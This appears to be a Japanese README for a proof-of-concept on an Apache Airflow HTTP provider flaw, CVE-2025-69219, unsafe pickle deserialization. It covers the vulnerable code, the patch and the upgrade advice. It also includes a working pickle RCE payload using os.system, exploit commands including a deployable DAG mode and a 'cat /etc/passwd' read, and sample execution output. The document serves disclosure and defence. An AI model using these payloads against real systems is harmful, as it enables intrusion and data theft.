
深刻度: 高 (CVSS 3.1: 8.8)
ベクトル:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — 動的に管理されるコードリソースの不適切な制御
影響を受けるバージョン:apache-airflow-providers-http >= 5.1.0, < 6.0.0
修正バージョン:apache-airflow-providers-http == 6.0.0
パッチ: apache/airflow#61662 · commit 97839f7
Apache Airflow の HTTP プロバイダーは、遅延タスク用に HTTP トリガーの応答をシリアル化・逆シリアル化するために Python の pickle モジュールを使用していました。HttpOperator.execute_complete() 内の脆弱なシンクは以下のようなコードでした:
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
event ディクショナリは Airflow データベース から読み込まれるため、DB への書き込みアクセス権を持つ任意の主体が悪意のある pickle ペイロードを仕込むことができます。Triggerer ワーカー が遅延タスクを処理する際、そのペイロードを盲目的に逆シリアル化し、Triggerer プロセスの権限で任意の OS コマンドを実行します — これは DAG Author と同等の権限です。
信頼できないデータに対する pickle.loads() は、本質的に安全でない操作です。Pickle の __reduce__ プロトコルは、任意の Python 呼び出し可能オブジェクトをシリアル化されたブロブに埋め込み、サンドボックスなしで逆シリアル化中に呼び出すことを可能にします。
Airflow Triggerer は完了時に HTTP 応答をシリアル化し、DB に保存します:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
DB レベルでの攻撃者は、この値を細工した pickle ブロブに置き換えます。例:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
Triggerer はその後 execute_complete → pickle.loads() → RCE を実行します。
このパッチは pickle を完全に排除し、安全で明示的な JSON シリアライザーに置き換えます:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
新しいデシリアライザーは、既知のフィールド (status_code、headers、content など) からのみ requests.Response オブジェクトを再構築するため、任意のコード実行は不可能です。
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
脆弱な pickle.loads() 呼び出しをプロセス内で再現します:
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"
出力例:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"
# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc
タスクログでコマンド出力を確認します。
python poc.py --show-payload --cmd "cat /etc/passwd"
| 要素 | 詳細 |
|---|---|
| 誰が悪用できるか | Airflow DB への直接の書き込みアクセス権を持つ任意のユーザー |
| 実行コンテキスト | Triggerer ワーカープロセス (DAG Author と同じ権限) |
apache-airflow-providers-http を 6.0.0 以降にアップグレードします。deferrable=True) が完了またはクリアされていることを確認します。アップグレード後、pickle でシリアル化された進行中のタスクは TypeError を発生させるためです (プロバイダーのチェンジログに記載されている破壊的変更)。pip install "apache-airflow-providers-http>=6.0.0"
| 日付 | イベント |
|---|---|
| 2026-03-09 | Apache Software Foundation により CVE 公開 |
| 2026-03-09 | 修正がマージ (PR #61662、commit 97839f7) |
| 2026-03-09 | oss-security メーリングリストで開示 |
このリポジトリの PoC は @ahmetartuc によるオリジナルの成果に基づいています。
この概念実証は、教育およびセキュリティ研究目的のみで公開されています。所有しているシステム、またはテストする明示的な書面による許可を得たシステムに対してのみテストしてください。著者は誤用に対して一切の責任を負いません。
| 可能性 |
| 低 — 適切に構成されたデプロイでは、直接の DB アクセスは非標準 |
| 被害範囲 | Triggerer ノード上での完全なホスト RCE: データ窃取、横展開、永続化 |